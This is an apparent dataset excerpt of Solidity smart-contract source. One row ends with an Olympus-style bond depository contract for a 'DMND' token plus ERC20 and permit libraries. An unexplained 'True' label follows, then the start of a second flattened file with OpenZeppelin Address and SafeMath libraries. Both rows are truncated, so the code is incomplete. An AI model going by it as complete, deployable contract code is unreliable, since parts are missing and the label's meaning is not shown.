function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address)
internal
pure
returns (string memory)
{
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = "0";
_addr[1] = "x";
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 private constant ERC20TOKEN_ERC1820_INTERFACE_ID =
keccak256("ERC20Token");
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(this), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from_,
address to_,
uint256 amount_
) internal virtual {}
}
interface IERC2612Permit {
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
}
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)
)
);
}
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
_nonces[owner].current(),
deadline
)
);
bytes32 _hash = keccak256(
abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)
);
address signer = ecrecover(_hash, v, r, s);
require(
signer != address(0) && signer == owner,
"ZeroSwapPermit: Invalid signature"
);
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
library FullMath {
function fullMul(uint256 x, uint256 y)
private
pure
returns (uint256 l, uint256 h)
{
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, "FullMath::mulDiv: overflow");
return fullDiv(l, h, d);
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 =
0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode112with18(uq112x112 memory self)
internal
pure
returns (uint256)
{
return uint256(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator)
internal
pure
returns (uq112x112 memory)
{
require(denominator > 0, "FixedPoint::fraction: division by zero");
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
}
}
}
interface ITreasury {
function deposit(
uint256 _amount,
address _token,
uint256 _profit
) external returns (bool);
function updateReserve(address _token, uint256 _amount) external;
function valueOfToken(address _token, uint256 _amount)
external
view
returns (uint256 value_);
function mintRewards(address _recipient, uint256 _amount) external;
}
interface IStaking {
function stake(uint256 _amount, address _recipient) external returns (bool);
}
interface IStakingHelper {
function stake(uint256 _amount, address _recipient) external;
}
contract LpBondDepository is Ownable {
using FixedPoint for *;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/* ======== EVENTS ======== */
event BondCreated(
uint256 deposit,
uint256 indexed payout,
uint256 indexed expires,
uint256 indexed priceInUSD
);
event BondRedeemed(
address indexed recipient,
uint256 payout,
uint256 remaining
);
event BondPriceChanged(
uint256 indexed priceInUSD,
uint256 indexed internalPrice,
uint256 indexed debtRatio
);
event ControlVariableAdjustment(
uint256 initialBCV,
uint256 newBCV,
uint256 adjustment,
bool addition
);
/* ======== STATE VARIABLES ======== */
address public immutable DMND; // token given as payment for bond
address public immutable principle; // token used to create bond
address public immutable treasury; // mints DMND when receives principle
address public DAO; // receives profit share from bond
address public partnerDAO; // receives profit share from bond
address public staking; // to auto-stake payout
address public stakingHelper; // to stake and claim if no staking warmup
bool public useHelper;
Terms public terms; // stores terms for new bonds
Adjust public adjustment; // stores adjustment to BCV data
mapping(address => Bond) public bondInfo; // stores bond information for depositors
uint256 public totalDebt; // total value of outstanding bonds; used for pricing
uint256 public lastDecay; // reference block for debt decay
/* ======== STRUCTS ======== */
// Info for creating new bonds
struct Terms {
uint256 controlVariable; // scaling variable for price
uint256 vestingTerm; // in blocks
uint256 minimumPrice; // vs principle value. 4 decimals (1500 = 0.15)
uint256 maxPayout; // in thousandths of a %. i.e. 500 = 0.5%
uint256 maxDebt; // 9 decimal debt ratio, max % total supply created as debt
uint256 fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid)
uint256 feePartner; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid)
}
// Info for bond holder
struct Bond {
uint256 payout; // DMND remaining to be paid
uint256 vesting; // Blocks left to vest
uint256 lastBlock; // Last interaction
uint256 pricePaid; // In DAI, for front end viewing
}
// Info for incremental adjustments to control variable
struct Adjust {
bool add; // addition or subtraction
uint256 rate; // increment
uint256 target; // BCV when adjustment finished
uint256 buffer; // minimum length (in blocks) between adjustments
uint256 lastBlock; // block when last adjustment made
}
/* ======== INITIALIZATION ======== */
constructor(
address _DMND,
address _principle,
address _treasury,
address _DAO,
address _partnerDAO
) {
require(_DMND != address(0));
DMND = _DMND;
require(_principle != address(0));
principle = _principle;
require(_treasury != address(0));
treasury = _treasury;
require(_DAO != address(0));
DAO = _DAO;
require(_partnerDAO != address(0));
partnerDAO = _partnerDAO;
}
/**
* @notice initializes bond parameters
* @param _controlVariable uint
* @param _vestingTerm uint
* @param _minimumPrice uint
* @param _maxPayout uint
* @param _maxDebt uint
* @param _initialDebt uint
*/
function initializeBondTerms(
uint256 _controlVariable,
uint256 _vestingTerm,
uint256 _minimumPrice,
uint256 _maxPayout,
uint256 _maxDebt,
uint256 _initialDebt,
uint256 _fee,
uint256 _feePartner
) external onlyPolicy {
terms = Terms({
controlVariable: _controlVariable,
vestingTerm: _vestingTerm,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
maxDebt: _maxDebt,
fee: _fee,
feePartner: _feePartner
});
totalDebt = _initialDebt;
lastDecay = block.number;
}
/* ======== POLICY FUNCTIONS ======== */
enum PARAMETER {
VESTING,
PAYOUT,
DEBT,
FEE,
FEEPARTNER
}
/**
* @notice set parameters for new bonds
* @param _parameter PARAMETER
* @param _input uint
*/
function setBondTerms(PARAMETER _parameter, uint256 _input)
external
onlyPolicy
{
if (_parameter == PARAMETER.VESTING) {
// 0
require(_input >= 10000, "Vesting must be longer than 36 hours");
terms.vestingTerm = _input;
} else if (_parameter == PARAMETER.PAYOUT) {
// 1
require(_input <= 1000, "Payout cannot be above 1 percent");
terms.maxPayout = _input;
} else if (_parameter == PARAMETER.DEBT) {
// 2
terms.maxDebt = _input;
} else if (_parameter == PARAMETER.FEE) {
// 3
terms.fee = _input;
} else if (_parameter == PARAMETER.FEEPARTNER) {
// 3
terms.feePartner = _input;
}
}
/**
* @notice set control variable adjustment
* @param _addition bool
* @param _increment uint
* @param _target uint
* @param _buffer uint
*/
function setAdjustment(
bool _addition,
uint256 _increment,
uint256 _target,
uint256 _buffer
) external onlyPolicy {
require(
_increment <= terms.controlVariable.mul(25).div(1000),
"Increment too large"
);
adjustment = Adjust({
add: _addition,
rate: _increment,
target: _target,
buffer: _buffer,
lastBlock: block.number
});
}
/**
* @notice set contract for auto stake
* @param _staking address
* @param _helper bool
*/
function setStaking(address _staking, bool _helper) external onlyPolicy {
require(_staking != address(0));
if (_helper) {
useHelper = true;
stakingHelper = _staking;
} else {
useHelper = false;
staking = _staking;
}
}
/* ======== USER FUNCTIONS ======== */
/**
* @notice deposit bond
* @param _amount uint
* @param _maxPrice uint
* @param _depositor address
* @return uint
*/
function deposit(
uint256 _amount,
uint256 _maxPrice,
address _depositor
) external returns (uint256) {
require(_depositor != address(0), "Invalid address");
decayDebt();
require(totalDebt <= terms.maxDebt, "Max capacity reached");
uint256 priceInUSD = _bondPrice();
uint256 nativePrice = _bondPrice();
require(_maxPrice >= nativePrice, "Slippage limit: more than max price"); // slippage protection
uint256 value = ITreasury(treasury).valueOfToken(principle, _amount);
uint256 payout = payoutFor(value); // payout to bonder is computed
require(payout >= 10000000, "Bond too small"); // must be > 0.01 DMND ( underflow protection )
require(payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage
// profits are calculated
uint256 fee = payout.mul(terms.fee).div(10000);
uint256 feePartner = payout.mul(terms.feePartner).div(10000);
/**
asset carries risk and is not minted against
asset transfered to treasury and rewards minted as payout
*/
IERC20(principle).safeTransferFrom(msg.sender, treasury, _amount);
ITreasury(treasury).updateReserve(principle, value);
ITreasury(treasury).mintRewards(
address(this),
payout.add(fee).add(feePartner)
);
if (fee != 0) {
IERC20(DMND).safeTransfer(DAO, fee);
}
if (feePartner != 0) {
IERC20(DMND).safeTransfer(partnerDAO, feePartner);
}
// total debt is increased
totalDebt = totalDebt.add(value);
// depositor info is stored
bondInfo[_depositor] = Bond({
payout: bondInfo[_depositor].payout.add(payout),
vesting: terms.vestingTerm,
lastBlock: block.number,
pricePaid: priceInUSD
});
// indexed events are emitted
emit BondCreated(
_amount,
payout,
block.number.add(terms.vestingTerm),
priceInUSD
);
emit BondPriceChanged(_bondPrice(), _bondPrice(), debtRatio());
adjust(); // control variable is adjusted
return payout;
}
/**
* @notice redeem bond for user
* @param _recipient address
* @param _stake bool
* @return uint
*/
function redeem(address _recipient, bool _stake) external returns (uint256) {
Bond memory info = bondInfo[_recipient];
uint256 percentVested = percentVestedFor(_recipient); // (blocks since last interaction / vesting term remaining)
if (percentVested >= 10000) {
// if fully vested
delete bondInfo[_recipient]; // delete user info
emit BondRedeemed(_recipient, info.payout, 0); // emit bond data
return stakeOrSend(_recipient, _stake, info.payout); // pay user everything due
} else {
// if unfinished
// calculate payout vested
uint256 payout = info.payout.mul(percentVested).div(10000);
// store updated deposit info
bondInfo[_recipient] = Bond({
payout: info.payout.sub(payout),
vesting: info.vesting.sub(block.number.sub(info.lastBlock)),
lastBlock: block.number,
pricePaid: info.pricePaid
});
emit BondRedeemed(_recipient, payout, bondInfo[_recipient].payout);
return stakeOrSend(_recipient, _stake, payout);
}
}
/* ======== INTERNAL HELPER FUNCTIONS ======== */
/**
* @notice allow user to stake payout automatically
* @param _stake bool
* @param _amount uint
* @return uint
*/
function stakeOrSend(
address _recipient,
bool _stake,
uint256 _amount
) internal returns (uint256) {
if (!_stake) {
// if user does not want to stake
IERC20(DMND).transfer(_recipient, _amount); // send payout
} else {
// if user wants to stake
if (useHelper) {
// use if staking warmup is 0
IERC20(DMND).approve(stakingHelper, _amount);
IStakingHelper(stakingHelper).stake(_amount, _recipient);
} else {
IERC20(DMND).approve(staking, _amount);
IStaking(staking).stake(_amount, _recipient);
}
}
return _amount;
}
/**
* @notice makes incremental adjustment to control variable
*/
function adjust() internal {
uint256 blockCanAdjust = adjustment.lastBlock.add(adjustment.buffer);
if (adjustment.rate != 0 && block.number >= blockCanAdjust) {
uint256 initial = terms.controlVariable;
if (adjustment.add) {
terms.controlVariable = terms.controlVariable.add(adjustment.rate);
if (terms.controlVariable >= adjustment.target) {
adjustment.rate = 0;
}
} else {
terms.controlVariable = terms.controlVariable.sub(adjustment.rate);
if (terms.controlVariable <= adjustment.target) {
adjustment.rate = 0;
}
}
adjustment.lastBlock = block.number;
emit ControlVariableAdjustment(
initial,
terms.controlVariable,
adjustment.rate,
adjustment.add
);
}
}
/**
* @notice reduce total debt
*/
function decayDebt() internal {
totalDebt = totalDebt.sub(debtDecay());
lastDecay = block.number;
}
/* ======== VIEW FUNCTIONS ======== */
/**
* @notice determine maximum bond size
* @return uint
*/
function maxPayout() public view returns (uint256) {
return IERC20(DMND).totalSupply().mul(terms.maxPayout).div(100000);
}
/**
* @notice calculate interest due for new bond
* @param _value uint
* @return uint
*/
function payoutFor(uint256 _value) public view returns (uint256) {
return FixedPoint.fraction(_value, bondPrice()).decode112with18().div(1e14);
}
/**
* @notice calculate current bond premium
* @return price_ uint
*/
function bondPrice() public view returns (uint256 price_) {
price_ = terms.controlVariable.mul(debtRatio()).div(1e5);
if (price_ < terms.minimumPrice) {
price_ = terms.minimumPrice;
}
}
/**
* @notice calculate current bond price and remove floor if above
* @return price_ uint
*/
function _bondPrice() internal returns (uint256 price_) {
price_ = terms.controlVariable.mul(debtRatio()).div(1e5);
if (price_ < terms.minimumPrice) {
price_ = terms.minimumPrice;
} else if (terms.minimumPrice != 0) {
terms.minimumPrice = 0;
}
}
/**
* @notice calculate current ratio of debt to DMND supply
* @return debtRatio_ uint
*/
function debtRatio() public view returns (uint256 debtRatio_) {
uint256 supply = IERC20(DMND).totalSupply();
debtRatio_ = FixedPoint
.fraction(currentDebt().mul(1e9), supply)
.decode112with18()
.div(1e18);
}
/**
* @notice calculate debt factoring in decay
* @return uint
*/
function currentDebt() public view returns (uint256) {
return totalDebt.sub(debtDecay());
}
/**
* @notice amount to decay total debt by
* @return decay_ uint
*/
function debtDecay() public view returns (uint256 decay_) {
uint256 blocksSinceLast = block.number.sub(lastDecay);
decay_ = totalDebt.mul(blocksSinceLast).div(terms.vestingTerm);
if (decay_ > totalDebt) {
decay_ = totalDebt;
}
}
/**
* @notice calculate how far into vesting a depositor is
* @param _depositor address
* @return percentVested_ uint
*/
function percentVestedFor(address _depositor)
public
view
returns (uint256 percentVested_)
{
Bond memory bond = bondInfo[_depositor];
uint256 blocksSinceLast = block.number.sub(bond.lastBlock);
uint256 vesting = bond.vesting;
if (vesting > 0) {
percentVested_ = blocksSinceLast.mul(10000).div(vesting);
} else {
percentVested_ = 0;
}
}
/**
* @notice calculate amount of DMND available for claim by depositor
* @param _depositor address
* @return pendingPayout_ uint
*/
function pendingPayoutFor(address _depositor)
external
view
returns (uint256 pendingPayout_)
{
uint256 percentVested = percentVestedFor(_depositor);
uint256 payout = bondInfo[_depositor].payout;
if (percentVested >= 10000) {
pendingPayout_ = payout;
} else {
pendingPayout_ = payout.mul(percentVested).div(10000);
}
}
function setDAOs(address _DAO, address _partnerDAO) external onlyPolicy {
DAO = _DAO;
partnerDAO = _partnerDAO;
}
/* ======= AUXILLIARY ======= */
/**
* @notice allow anyone to send lost tokens (excluding principle or DMND) to the DAO
* @return bool
*/
function recoverLostToken(address _token) external returns (bool) {
require(_token != DMND);
require(_token != principle);
IERC20(_token).safeTransfer(DAO, IERC20(_token).balanceOf(address(this)));
return true;
}
} | True | [
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] |
// SPDX-License-Identifier: MIT
// File: Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
